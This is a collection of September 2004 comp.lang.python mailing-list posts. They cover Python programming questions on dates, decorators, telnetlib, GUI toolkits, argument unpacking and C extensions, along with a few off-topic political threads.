date > without knowing the time (date of birth, for example, before > knowing the > time of birth, and this is important in newborn intensive care). I > wanted to be able to enter the date of birth in a way that indicates > that the time is unknown at present, so I used a datetime.date. Then > later after the actual time is learned, it could be changed to a > datetime.datetime. How else would the associated presenter > (presentation > object) know whether or not the time was unknown? But this means that > for my implementation dt.date should not evaluate as equal to the > corresponding dt.datetime. > > My solution now (as a result of this thread) is to use a > three-tuple for > date of birth and a five-tuple for date and time of birth. These two > representations obviously do evaluate as different. I still > convert to > datetime.datetime (with or without DST information) for > calculations of > intervals, but storage is the basic time tuple. Given your birthdate/time example, I'd look seriously at providing four Cell subclasses: str, int, date, and time. Separating date and time completely allows either to be None (= unknown). If consumer code needs to compare both date and time, you can then write: import datetime class Thing(object): def __init__(self, d, t): self.d = DateCell(d) self.t = TimeCell(t) def dt(self): return datetime.datetime.combine(self.d, self.t) x = Thing(datetime.date(2004, 9, 15), None) y = Thing(datetime.date(2004, 9, 15), datetime.time(11, 59)) if x.dt == y.dt: do_stuff() ...the 'if' statement will then raise TypeError, since x.t is None and won't combine. You can then trap that either inside or outside the dt() method and handle it as you like. Just a thought. Robert Brewer MIS Amor Ministries fumanchu at amor.org From carribeiro at gmail.com Thu Sep 2 14:14:51 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Thu, 2 Sep 2004 15:14:51 -0300 Subject: Back to Python + decorators Message-ID: <864d37090409021114500e386@mail.gmail.com> Hello all. I used to be quite active in this list a couple of years ago. I'm trying to catchup with stuff lately, and I couldn't keep my mouth shut about the huge decorator debate. I was never famed for being able to stay far from debates and lost causes anyway, so... It came to my attention that almost all possible combinations of keyword, punctuation and syntax were proposed. The PythonDecorators page at the Wiki is looking like a study on combinatorial explosion. The only one option not mentioned is this: def (decoratorlist) function_name(parameters): ...which I actually happen to like :-) At least, it seems to be better than option A, or C1, or J(n). I also think that -- if I had to choose between lists and sequences -- I would go with the sequence, mainly because it is clearly something that is not supposed to be mutable. But I digress -- this post is not meant to be taken seriously (just a little bit). I partly agree with Christopher King (as quoted in the Wiki), in the sense that a lot of widely different things are being addressed at the same time, under the same umbrella. Maybe its time to wait for Python 3, or 3000, or whatever, to come up with a different framework under a different set of constraints. Said that, whatever gets decided, people will surely get used to, and they even may like it. But it does not mean that its a good decision. People are known to live with rings around their necks and shoes smaller than their feet for their entire lives, and can't even imagine living any other way. Best regards, Carlos Ribeiro http://pythonnotes.blogspot.com carribeiro at gmail.com From steven.bethard at gmail.com Wed Sep 29 12:21:21 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 29 Sep 2004 16:21:21 +0000 (UTC) Subject: all pairs of items in a list without indexing? References: <1gkvo41.aiv2zs4vw5qsN%aleaxit@yahoo.com> Message-ID: Alex Martelli yahoo.com> writes: > > Steven Bethard gmail.com> wrote: > > > > but that seems like a lot of wasteful list slicing... > > Sorry, I don't get it: what's wasteful about it? Sorry, perhaps I should have said it has a bad smell. I wasn't the only one who thought this smelled a little bad; quoting Jeff: "Something about taking a slice of seq for the inner loop doesn't seem right to me." Maybe we need to retrain our noses. ;) Steve From mauriceling at acm.org Thu Sep 23 23:51:36 2004 From: mauriceling at acm.org (Maurice LING) Date: Fri, 24 Sep 2004 03:51:36 GMT Subject: Check for presence fo directory In-Reply-To: References: Message-ID: <415399c4$1@news.unimelb.edu.au> > Should we assume you're rejecting os.path.exists() for some reason? > You can assume Maurice.knowledge(os.path.exists()) to raise an exception. Thanks, I guess os.path.exists() is the one to use. Cheers Maurice From mynewjunkaccount at hotmail.com Mon Sep 27 23:15:09 2004 From: mynewjunkaccount at hotmail.com (Benjamin Scott) Date: 27 Sep 2004 20:15:09 -0700 Subject: [OT] Plone/Zope... Enhancing browser for better search? Message-ID: Hello, I am working on a project that is becoming quite unwieldy. I would appreciate comments on...: 1) The general approach to the "GOAL" I am trying to accomplish (see "GOAL"). 2) Any single item in the laundry list presented below, i.e. you need not address every item. I welcome all comments. 3) Existing implementations/Technologies. In particular, I would like feedback about how Plone/Zope might be a more appropriate framework for this project. GOAL: To write a toolbox of utilities in Python that extends functionality of your browser (well, kinda...) in order to enhance your search missions. Motivation: I spend a heck of a lot of time searching for stuff. I thought that a whole lot of work goes into generating 3, rather large, data sets... namely: 1) Browser History 2) Browser Temp Internet Files 3) Browser Cookies 4) Favorites ...(although, not large... worth mentioning in this context) Once generated, one might be able to automate an analytical process that allows new content pages to be written to a location on your hard drive. This new web page could be accessed on-the-fly by writing a shortcut to this file to one of your Browser's "Favorites" folders (using wmi.py or winshell.py, I forget). You can then launch the newly constructed page, generate new entries in the data sets, 1), 2), 3), and 4) mentioned above, and the process starts over, etc. Here are some of my dabblings so far... COMPONENTS: APIs: PyAmazon, PyGoogle, PyBlogger, ...(PyTehoma, PyCiteseer, PyWikipedea, etc?) Used to automate search queries. Uses inputs (e.g. keywords, URLs, etc.) from the data sets 1), 2), 3), and 4)...I haven't considered "Terms of Service" issues yet. Storage/Databases: Python Shelves - Recursive searches will generate a lot of data. In this case I was considering constructing a number of "Bookcases" from Python Shelves. Each "Bookcase" would be dedicated to serving data of a particular type OR for a particular purpose. Each Python Shelve would be specialized for a particular task required by the "Bookcase". What I (think) I am after here is a persistent "compound dictionary": http://tinyurl.com/4o268 ...other suggestions are welcome. It would be nice to be able to "Shelve" an entire search session and publish a distilled version online. Again, I don't know much regarding "Terms of Service" issues at this point. Text Manipulations: Parsers/Query Tools - ...were constructed from htmllib and BeautifulSoup. I am also tinkering with the idea of using xmlbuilder.py to reformat text (XML) before it is entered in the "Bookcases"; I though this might be a format that lends itself to efficient parsing, comparing, and constructing new data structures. The new data structures may be preferred for certain types of analysis (e.g. arrays). Analytical Procedures: Statistical Engines - Once data sets 1) - 4) have been coerced into the appropriate form, they will be submitted for analysis... probably to R using RPython. (I won't go into details... this post is too long as is... for the purpose of illustration, assume that these engines perform analysis on data sets 1)-4), which produces "useful" results.) In summary, it would do something like this while you were browsing: DataSets 1,2,3 & 4 --> Fed to Parsers --> Persisted in "Bookcases" --> Requested by Statistical Engines --> New Data Sets from Analysis --> Fed to APIs --> Search results from APIs are presented in a local web page and bookmaked in "Favorites" --> User accesses newly generated local web page via special bookmark --> User generates new data as a byproduct of searching and browsing..... REPEAT, etc. Thanks in advance for your comments, Benjamin Scott From sholden at holdenweb.com Wed Sep 1 12:11:25 2004 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 01 Sep 2004 12:11:25 -0400 Subject: "Content-Length" header In-Reply-To: <0LadnRdAsPfbWKncRVn-ug@powergate.ca> References: <96c2e938.0408302057.61df147b@posting.google.com> <0LadnRdAsPfbWKncRVn-ug@powergate.ca> Message-ID: <4135F4AD.5030906@holdenweb.com> Peter Hansen wrote: > Peter Kleiweg wrote: > >> Jeremy Bowers schreef: >> >>> Both cases: 52 ^ 8: 53,459,728,531,456 (53 trillion) > > > > >> A bit less: 53 billion >> >>> One case : 26 ^ 8: 208,827,064,576 (208 billion) >> >> >> 208 billiard > > > North American English says twelve zeroes is a trillion, > and nine zeroes is a billion, and the word "billiard" > refers to a game involving the use of a stick to hit a > white ball into other balls on a table covered with > green felt... > > (And I'm not sure "billiard" refers to numbers in any other > form of English either, but certainly "milliard" exists > in Britain and means a thousand million (nine zeroes).) > Billiards, not to be confused with snooker, is a game for two players played with two white balls and a color (usually black, IIRC). It's played on a billiard table (which is the same as a snooker table). The scoring shots I can remember are: 1. Pocketing an object ball by hitting it with the cue ball (the one that is struck). 2. A "cannon", where the cue ball hits first one object ball and then the other; and 3. "In off", where the cue ball strikes an object ball before entering a pocket. It can be quite a cerebral game, and a good billiards player can rack up a large break (despite the fact the pocketing and in off score 1 and a cannon scores 2). mobile-mine-of-useless-information-ly y'rs - steve From hank at nicht-prosysplus-schpamme.com Sat Sep 25 21:49:45 2004 From: hank at nicht-prosysplus-schpamme.com (Hank Fay) Date: Sat, 25 Sep 2004 21:49:45 -0400 Subject: TWAIN module References: Message-ID: <10lc81jftakvaf2@corp.supernews.com> Hi Tomas, I believe that's a security policy issue which is optional; usually what one would do is have the network admins create a user capable of using that service from outside that machine; and then impersonate that user when scanning. Hank -- "Tomas Christiansen" wrote in message news:cj3rv0$e1h$1 at news.cybercity.dk... > Anyone having experience with Kevin Gill's TWAIN module (from > www.sourceforge.org)? > > Seems that a user MUST be logged in on the computer (Windows 2000) to be > able to scan on a TWAIN-scanner? > Trying to create a network-attached scanner service, so I would like to > avoid having a user logged in on the scanner-computer. > > ------- > Tomas > From vinay_sajip at yahoo.co.uk Tue Sep 7 16:50:10 2004 From: vinay_sajip at yahoo.co.uk (Vinay Sajip) Date: 7 Sep 2004 13:50:10 -0700 Subject: does logging.config support extension handlers? References: Message-ID: <2e37dc1.0409071250.172ec81f@posting.google.com> "j vickroy" wrote in message news:... > It seems that custom handlers (i.e., any not included with the logging > package distribution) can not be used in configuration files. > > Is that correct? > > If incorrect, could someone point me to a simple example? I can not get > this to work. > > The only possibly relevant statement I have found in the documentation is: > > " The class entry indicates the handler's class (as determined by eval() in > the logging package's namespace). " > > about midway in section "6.28.7.2 Configuration file format". > I believe I answered this already: http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&newwindow=1&selm=2e37dc1.0408240605.2d7848fd%40posting.google.com (The long URL may wrap) Regards Vinay Sajip From carribeiro at gmail.com Mon Sep 20 16:07:37 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 20 Sep 2004 17:07:37 -0300 Subject: Python as alternative to Visual Basic In-Reply-To: References: Message-ID: <864d370904092013077b65c857@mail.gmail.com> On Mon, 20 Sep 2004 09:47:04 -0700, Aaron Ginn wrote: > The software package I'm developing will make calls to Excel and Access > and requires a very usable GUI for users who are not particularly > computer literate. My first question is: what is the best choice for a > GUI toolkit on Windows? I've used Tkinter for UNIX to some degree of > success, but I'm not sure this is the best choice for Windows. Second, > if I choose to make the application cross-platform (Windows and Mac OS X > in particular), what would be the best choice for a cross-platform GUI > toolkit? I was thinking of looking at PyQt. Is there a better option? I'm in a similar position, and I've evaluated a lot of tools over the past weeks. As far as connecting your app to Excel and Access, it's a snap -- either using COM, or using any of the higher level libraries available. In fact, using Python to use COM and OLE automation stuff is so easy that one wonders at why did Microsoft not support it from the beginning :-) The GUI is another matter. There are good libraries, such as Qt and wxPython. Most people will point you to wxPython because its cross platform, and also because of licensing issues. But, as far as IDEs are concerned, the scenario is not that good. For simple applications, PythonCard is a good starting point. Boa Constructor is a promising tool, and is very close to commercial IDEs in a lot of respects. In my particular case, I found it a little slow (my machine is showing its age now), and lacking a few features that I wanted -- but it might suit your needs better than mine. You can also take a look at BlackAdder (for Qt), but that's commercial. Besides that, you have to use a non-integrated GUI design tool such as wxGlade or wxDesigner. There is a promising approach to GUI building in the form of simple, more pythonic, APIs that are intended to hide the complexity of the real GUI toolkits (wxPython, for example). From the top of my mind, I can point you to AnyGUI, PyGUI, and WAX. The problem is that these tools are either abandoned or not mature enough. They were discussed here over the past few days, take a look at recent archived posts to check it out. AnyGUI -- http://anygui.sourceforge.net/ PyGUI -- http://www.cosc.canterbury.ac.nz/~greg/python_gui/ Wax -- http://zephyrfalcon.org/moin.cgi/Wax -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From martindemello at yahoo.com Tue Sep 7 02:02:59 2004 From: martindemello at yahoo.com (Martin DeMello) Date: Tue, 07 Sep 2004 06:02:59 GMT Subject: Lager'd Statistics on language migration References: <2ae25c6b.0409050132.4ce24330@posting.google.com> <1gjoo62.k6qgc44zbkjgN%aleaxit@yahoo.com> <864d37090409060733cc54023@mail.gmail.com> Message-ID: Alex Martelli wrote: > > Can you point out some specific behavior, some language-design choice, > where Ruby is farther away from Perl than Python is? Ruby's functional constructs (map, reduce, zip etc) are method calls on enumerable objects, rather than perl/python-style orthogonal application of a lambda to an enumerable. martin From dropthis_fanmail at micah-wedemeyer.net Mon Sep 20 18:00:54 2004 From: dropthis_fanmail at micah-wedemeyer.net (Micah) Date: Mon, 20 Sep 2004 18:00:54 -0400 Subject: parameter passing question Message-ID: Python gurus: No, this isn't about pass-by-value vs pass-by-reference, this is more along the lines of functional programming. Basically, I want to be able to call a function on a list of arguments without knowing the syntax of the function. I guess a code example would be best: ------- def foo(arg1, arg2): # Do something with arg1 and arg2 def main(): f = foo args = ["hello", "world"] # Want to call foo("hello", "world") using variable f and list args -------- So, what I'm trying to do is call f(args[0], args[1]). However, I want to be able to do it with any length argument list. Given any function f and a list of arguments args, I want to be able to call f(args[0], args[1], ..., args[n]) Any suggestions? -- ================================= Micah Z. Wedemeyer Research Scientist I, ELSYS Georgia Tech Research Institute Atlanta, GA 30332 678.428.1283 ================================= From timr at probo.com Tue Sep 28 02:21:12 2004 From: timr at probo.com (Tim Roberts) Date: Mon, 27 Sep 2004 23:21:12 -0700 Subject: floating point glitch References: <415295E6.9040602@ericsson.com> <7xhdple624.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: >Michael Hoffman writes: >> Actually, print essentialy uses str() to get the string >> representation. But repr(list) or str(list) still gets the repr() of >> each item of the list rather than the str(): > > >>> print .66 > 0.66 > >>> print [.66] > [0.66000000000000003] > >Yucch! Also, str is not invertible: Right! That's the point. str() is the perfect solution in those cases where you want the language to lie to you. In many cases, that IS what you want. repr() is the perfect solution when you need an invertible function. And that's really the lesson that needs to be taught when this FAQ is A-ed. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From albalmer at att.net Thu Sep 2 16:22:53 2004 From: albalmer at att.net (Alan Balmer) Date: Thu, 02 Sep 2004 13:22:53 -0700 Subject: Xah Lee's Unixism References: <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <877jrcjy1n.fsf@thalassa.informatimago.com> Message-ID: On Thu, 2 Sep 2004 19:57:03 +0000 (UTC), "Karl A. Krueger" wrote: >In comp.lang.lisp Pascal Bourguignon wrote: >> "John Thingstad" writes: >>> Note the Mac OS 10 / Darwin uses a unix kernel because of all the >>> problems with interoperabillity OS 9 had with talking to Windows and >>> Unix boxes. >> >> No that's not the reason. The reason is ONLY because of the lack of >> virtual memory management (with separation of addressing spaces for >> processes) in MacOS. > >It was my impression that the Motorola 68000 CPU, upon which the >original Macintosh was based, did not support memory management in >hardware. That's what I remember, but wasn't there an MMU available as a separate chip? > At least, that's usually given as the reason that portable >Unix systems such as NetBSD will "never" run on the earlier 68k (or, >for that matter, 8086 or 80286) chips. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From skip at pobox.com Tue Sep 14 13:50:20 2004 From: skip at pobox.com (Skip Montanaro) Date: Tue, 14 Sep 2004 12:50:20 -0500 Subject: up with PyGUI! In-Reply-To: References: Message-ID: <16711.12124.68510.515630@montanaro.dyndns.org> Jorge> Indeed... But first, I'm curious about how it looks. I don't Jorge> understand why people make GUI projects without any screenshot Jorge> available on their own website. How can we see how it looks Jorge> without downloading, it? On Unix and Windows it looks like any GTK app. On MacOSX I presume (haven't tried it there yet) it looks like any other Mac app. Skip From daniel.dittmar at sap.corp Tue Sep 28 13:18:19 2004 From: daniel.dittmar at sap.corp (Daniel Dittmar) Date: Tue, 28 Sep 2004 19:18:19 +0200 Subject: Using python to convert PDF document to MSWord documents In-Reply-To: References: <20040928161317.88987.qmail@web8401.mail.in.yahoo.com> Message-ID: > From: JEET > Can anyone please suggest me if there any python modules available to > convert PDF document to MSWord documents. If not then can you please > suggest how can i acheive this. No python modules, but: - feeding the subject line to google brings some sponsored links that claim to solve your problem - http://www.quiss.org/swftools/ has a tool to convert PDF to Flash, so there must be some code to detect Text, Fonts etc. Daniel From junkmail at chipworks.net Wed Sep 22 18:37:29 2004 From: junkmail at chipworks.net (Mike Monaghan) Date: 22 Sep 2004 15:37:29 -0700 Subject: telnetlib close not closing sockets Message-ID: I'm rather new to python but a long time programmer. I think I've covered my bases so I hope this isn't somthing obvious. I'm running ActiveState PythonWin 2.3.2 (#49, Nov 13 2003, 10:34:54) [MSC v.1200 32 bit (Intel)] on win32. I have several processes that are polling a telnet server on a regular basis. I'm using telnetlib for this. When I issue the .close method the connection is not closed (no TCP FIN is sent to the server). import getpass import sys import telnetlib import smtplib import time import os HOST = "fred" tn = telnetlib.Telnet(HOST) tn.write("DEMO\n") print tn.read_until("\n>",5) tn.write("OFF\n") print tn.read_until("Logon Please:",5) print tn.read_until("make sure socket queue is empty the hard way",5) tn.close I've tried several options to accomplish this, but for whatever reason the socket remains open until I exit python. Since I'm polling in a loop I'd prefer not to exit python. I must close the tcp connection after each pass or I'll consume server licenses. Any of you pythoneers have a clue where I should be looking? Is this a bug in telnetlib, the socket handlers, or the windows port? Am I missing something obvious? Telnetlib looks like it is making the right close calls. Thanks, Mike A python newb From lbates at swamisoft.com Tue Sep 14 19:28:27 2004 From: lbates at swamisoft.com (Larry Bates) Date: Tue, 14 Sep 2004 18:28:27 -0500 Subject: Random Instance generation References: <494182a9.0409141247.608d365f@posting.google.com> Message-ID: I don't know what you mean by "random" but one solution is: a=[] a=[A() for n in range(0,100)] They are a[0], a[1], a[2} and don't resemble anything like "randomness", but there are 100 of them stored in the list a. Larry Bates "Balaji" wrote in message news:494182a9.0409141247.608d365f at posting.google.com... > Hello eveybody.... > > Suppose there is a class A: > > I want to generate say 100 random instance of it... > > How can I do that.... > > I want the instance name to be like a1, a2, a3... > > Any ideas..... > > Cheers > > Balaji From okyoon at stanford.edu Fri Sep 17 20:52:59 2004 From: okyoon at stanford.edu (Oh Kyu Yoon) Date: Fri, 17 Sep 2004 17:52:59 -0700 Subject: Newbie : Round shaped button for wxPython Message-ID: How do you make a round shaped button in wxPython? Thanks. From chrisks at NOSPAM.udel.edu Sun Sep 19 02:51:16 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sun, 19 Sep 2004 06:51:16 GMT Subject: Closed-source, possible? In-Reply-To: References: Message-ID: Davis Chord wrote: > I'm a fairly new Python developer, so I hope that some of my ignorance in > this area is understandable. :) > > I'm developing an application, and I'm uncertain about releasing it as > open-source. The main reason I thought about open-source was because ever > Python program I've seen is, truly. Doh. > > I've heard/seen/used the pyc program that turns your .py files into .pyc > files, but I'm wondering how easily someone can get to your source from > these compiled files. If it's not possible to have a portable progam thats' > source cannot be easily accessed (or at all :P), then open-source is just > easier. Google for 'decompyle'. It converts Python byte-code into readable code. The most recent version now seems to be proprietary, offered as a 'service', but you can find old source archives laying around the net. From lynn at garlic.com Sat Sep 4 10:58:06 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Sat, 04 Sep 2004 08:58:06 -0600 Subject: Xah Lee's Unixism References: <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4139ae57$0$19717$61fed72c@news.rcn.com> Message-ID: jmfbahciv at aol.com writes: > That was my next question :-). How did you manage? the first i remember was two story with steep roof. i got to demolish the brick chimmny in the middle of the house... and remove the bricks ... lifting the house for the timbers to go under and move, there wouldn't be anything to support the chimney. when the house came to the wires, i went up thru the hole in the roof where the chimney had been; walk out to the edge and gather the wires and lift them above the peek ... and walk with them as the house moved under the wires. i was 12. several years later, one of my uncles fell off the roof of a house being moved and died. -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From jfj at freemail.gr Wed Sep 8 17:20:40 2004 From: jfj at freemail.gr (Jerald) Date: Wed, 08 Sep 2004 14:20:40 -0700 Subject: A historical question Message-ID: Hi. I'd like to know when python started working with bytecode. It seems natural that in the first python implementations code was really interpreted : executed directly. As a result, in the first days, when the py-programmer said: def foo (): print 'foo' python stored the function body and executed it each time foo was called. In some time it was decided to compile this to bytecode, optimize it and call the bytecode instead. Is it so? I am very curious. Gerald From abra9823 at mail.usyd.edu.au Sat Sep 4 00:45:23 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Sat, 4 Sep 2004 14:45:23 +1000 Subject: extending python Message-ID: <1094273123.41394863b5f4c@www-mail.usyd.edu.au> hi! i have written simple C file and am now trying to call it from Python the file is pasted below. I can compile it to testdll.dll but when i call it from Python, i get an import error: No module named testdll what am i doing wrong thanks cheers #include static PyObject* test_dll(PyObject *self, PyObject *args) { char *command; int sts; if (!PyArg_ParseTuple(args, "s", &command)) return NULL; sts = 5; return Py_BuildValue("i", sts); } static PyMethodDef testdllMethods[] = { {"system", test_dll, METH_VARARGS, "test a dll."}, {NULL, NULL, 0, NULL} }; PyMODINIT_FUNC inittestdll(void) { (void) Py_InitModule("testdll", testdllMethods); } ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From fxn at hashref.com Mon Sep 13 17:54:18 2004 From: fxn at hashref.com (Xavier Noria) Date: Mon, 13 Sep 2004 23:54:18 +0200 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: References: <864d3709040913131077f1732d@mail.gmail.com> Message-ID: <76390D46-05CF-11D9-AC6D-000A95A4E370@hashref.com> On Sep 13, 2004, at 22:22, Jaime Wyant wrote: > I use (FWIW) Stani's Python Editor (http://spe.pycs.net/). Did anybody get it working OK in Mac OS X? Here the IDE launches, but the widgets behave in a somewhat strange way, half rendered sometimes. Does not look usable for work because of that. Something could be broken in my computer? -- fxn From cpl.19.ghum at spamgourmet.com Tue Sep 28 02:58:56 2004 From: cpl.19.ghum at spamgourmet.com (Harald Massa) Date: Tue, 28 Sep 2004 06:58:56 +0000 (UTC) Subject: repeat something in a thread, but stop when the program stops References: <5db4fffa.0409270551.57a96cda@posting.google.com> Message-ID: Thank you very much, Peter and Tim! I was really not aware of the timeout-parameter of Queue and did not understand demons! > Measure it: you won't be able to see a difference. Modern processors > cram on the order of 1E9 cycles into each second. Doing a tiny amount > of work 20 times per second is trivial. You are surely right, Tim. Measuring did not detect the difference. I just see my tasktray collecting more and more icons of programs which just do a very tiny amount of work every half a second, and ... as them getting many, the computer begins to feel more sluggish. Harald From drs at remove-to-send-mail-ecpsoftware.com Tue Sep 21 16:58:47 2004 From: drs at remove-to-send-mail-ecpsoftware.com (drs) Date: Tue, 21 Sep 2004 20:58:47 GMT Subject: Python as alternative to Visual Basic References: Message-ID: "Aaron Ginn" wrote in message news:cipi5g$irq$1 at avnika.corp.mot.com... > I just want to thank everyone who has responded thus far. It seems like > Python will do what I require in terms of its COM interoperability. > That's very good news! WxPython sounds like my best alternative to > creating a cross-platform interface with what appears to be a nice > Windows look and feel. That's something I'll definately investigate. The responses here have glossed over that if the OP is using COM, there really is no need for a cross platform GUI, and if the choice is between VB6 and Python, again there is no cross platform issue.* That said, I have found that creating interfaces in VB6 and objects in Python is a great way to get the best of both worlds. -d Perhaps the exception is using pyro to remotly control COM objects from a *nix box. From cgibbs at kltpzyxm.invalid Tue Sep 21 14:31:16 2004 From: cgibbs at kltpzyxm.invalid (Charlie Gibbs) Date: 21 Sep 04 10:31:16 -0800 Subject: Xah Lee's Unixism References: <10kvqf4sr02fia0@corp.supernews.com> Message-ID: <1036.760T805T6313666@kltpzyxm.invalid> In article , spam at nimblegen.com (Chuck Dillon) writes: >SM Ryan wrote: > >> In short, ding dong, the President _does_ have independent >> intelligence gatherring ability. It's called the executive >> branch, and it's at his beck and call for all legal orders. >> It's that commander in chief bit. > >You missed the part of the constitution that speaks of checks and >balances. By definition the 3 branches are co-dependent. GWB's conduct during the recent gay marriage flap was enough to convince me of just how much of a pain in the ass he considers an independent judiciary to be. Considering that a couple of Supreme Court judges are delaying their retirement just to try to fend him off a little longer, I'd say that some of the judiciary agree. -- /~\ cgibbs at kltpzyxm.invalid (Charlie Gibbs) \ / I'm really at ac.dekanfrus if you read it the right way. X Top-posted messages will probably be ignored. See RFC1855. / \ HTML will DEFINITELY be ignored. Join the ASCII ribbon campaign! From christopher at baus.net Mon Sep 6 18:41:16 2004 From: christopher at baus.net (christopher at baus.net) Date: Mon, 6 Sep 2004 15:41:16 -0700 (PDT) Subject: [q] chunked encoding in httplib In-Reply-To: References: Message-ID: <39316.127.0.0.1.1094510476.squirrel@127.0.0.1> I e-mailed Greg Stein, the implementor of httplib, directly on this topic since there is so much traffic on this mailing list now, but alas he has an auto-responder as well... So... I was wondering if the chunked encoding parser in libhttp supports chunk trailers as described here: http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.6.1 I'm using libhttp for some of the testing of a proxy server I am working on which is described here: http://www.baus.net/archives/000137.html I doesn't seem that this information is available in the libhttp response object. I'm currently considering not supporting trailers (ie assuming they are always empty), as I don't know of any real world example where they are used. TIA, Christopher www.baus.net From paddy3118 at netscape.net Sun Sep 5 05:30:19 2004 From: paddy3118 at netscape.net (Paddy McCarthy) Date: 5 Sep 2004 02:30:19 -0700 Subject: Dbase Connection References: <3Jp_c.15967$Xi.2705@fe1.texas.rr.com> Message-ID: <2ae25c6b.0409050130.582eb27f@posting.google.com> "Stan Cook" wrote in message news:<3Jp_c.15967$Xi.2705 at fe1.texas.rr.com>... > Does anyone know how or what I can use to open, read and extract data from a > dbase database? I haven't found anything of much use with accompanying > documentation. Open Office can open DBase files, and Open Office has Python scripting. Googling for dbf2csv gives many hits. If you can use one of those programs then you could use the excellent CSV Python module in processing the resultant csv file. Hope it helps, Paddy. From tim.golden at viacom-outdoor.co.uk Tue Sep 7 04:37:22 2004 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Tue, 7 Sep 2004 09:37:22 +0100 Subject: run a python script located on linux from a windows computer Message-ID: [toaster at compass-it.ch] | i have a computer with redhat linux. on this computer i have some | python scripts i want to run. i don't want to run them with linux but | with windows. so i have a second computer (win) with python installed. | how can i lauch the script on the linux? It's not clear to me whether you want to run a Python script on your Linux box from your Windows box or vice versa, or something else. If all you want to do is launch something on Linux from Windows, you could use ssh, but I expect you knew that. If what you need is a more transparent way to call Python scripts on Linux from Windows, you might consider Pyro (http://pyro.sf.net). It makes these things really easy. Or you've got xml-rpc, CORBA and doubtless other methods of passing things around. TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From pfortin at pfortin.com Sat Sep 18 13:26:43 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Sat, 18 Sep 2004 13:26:43 -0400 Subject: args v. *args passed to: os.path.join() Message-ID: <20040918132643.74ba4b6d@gypsy.pfortin.com> This quest for understanding started very innocently... A simple error on my part, passing on args as "args" instead of "*args" to os.path.join() led me to wonder why an error wasn't raised... def foo(*args): ... return os.path.join(*args) foo('a','b') # returns 'a/b' With: return os.path.join(args) foo('a','b') # returns ('a', 'b') (unchanged -- no error) Replacing the 'return's in the function with each print below in turn produced the results in the comments: # without '*' print args # ('a', 'b') print (args) # ('a', 'b') print "/".join(args) # a/b print string.join(args,"/") # a/b print os.path.join(args) # ('a', 'b') # with '*' print *args # syntax error at * print (*args) # syntax error at * print "/".join(*args) # TypeError print string.join(*args,"/") # syntax error at 2nd (") print os.path.join(*args) # a/b The results in matrix form (numbers refer to order of print statements): args *args 1 ('a', 'b') syntax error 2 ('a', 'b') syntax error 3 a/b TypeError 4 a/b syntax error 5 ('a', 'b') a/b os.path.join() is the only one in this list which doesn't return an error. Also, os.path.join()'s results are reversed relative to the others by requiring *args... My question is: other than discovering this anomaly (and wrong result) at runtime, is there a simple rule for when to pass on '*args' v. 'args' that I've somehow missed...? Thanks, Pierre From jmeile at hotmail.com Thu Sep 9 13:09:18 2004 From: jmeile at hotmail.com (Josef Meile) Date: Thu, 09 Sep 2004 19:09:18 +0200 Subject: Variable passing between modules. In-Reply-To: References: Message-ID: <41408fd3$1@pfaff2.ethz.ch> Golawala, Moiz M (GE Infrastructure) wrote: > The example that I provided was very simplistic. I have a tones of methods in module 2 and the method need to get executed and need the someVar value. > > I was thinking like setting up some a value in some global VM list which can be accessed by all modules. You could do this: module1: varDict={} varDict['foo1']='hello' varDict['foo2']='world' module2: from module1 import varDict print varDict.get('foo1') print varDict.get('foo2') Regards, Josef From ajsiegel at optonline.com Sat Sep 25 21:55:08 2004 From: ajsiegel at optonline.com (Arthur) Date: Sun, 26 Sep 2004 01:55:08 GMT Subject: Don't let your babies grow up to be programmers References: <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> <1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com> <1095378815.31957.166.camel@devilbox.devilnet.internal> <278de0e.0409231337.1a032135@posting.google.com> <1gknx0k.m09llxutwktbN%aleaxit@yahoo.com> Message-ID: On Sat, 25 Sep 2004 10:35:30 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: > >_Some_ US observers are clear-sighted enough to see how much hate this >kind of behavior builds up in the world over the years. But obviously >not enough. I don't have the differential equations at my fingertips to prove it, but have in fact been involved in international business transactions my entire career, and in part based on this non-abstract experience would contend that there is much more hatred than justified by the facts. If the U.S. is winning, it must be cheating. Yes, it gets involved in trade wars on particular fronts. And fights those wars hard enough. but those are particular fronts, for particular reasons. Which then provide some ammunition for polemicists. Which is unfortunately how I hear your post. If held to no more than the standards of the rest of the realized world, the U.S. is the example, not the counter-example. Perhaps I have the particular view of a provincial New Yorker, but I see U.S.'s greatest asset, and its greatest competitive advantage, to be its diversity. It does business comfortably anywhere in the world, because everywhere in the world is well represented in its population. It was more luck than altruism that relatively open immigration policies made more sense here than it might have, for example, in the Old World. But among the results is the fact that Nerw York is already well globalized, without needing to get out of bed. And the impact of the the energy of this brew is then labeled a new imperialism. Bah. Art From ville at spammers.com Mon Sep 6 16:11:03 2004 From: ville at spammers.com 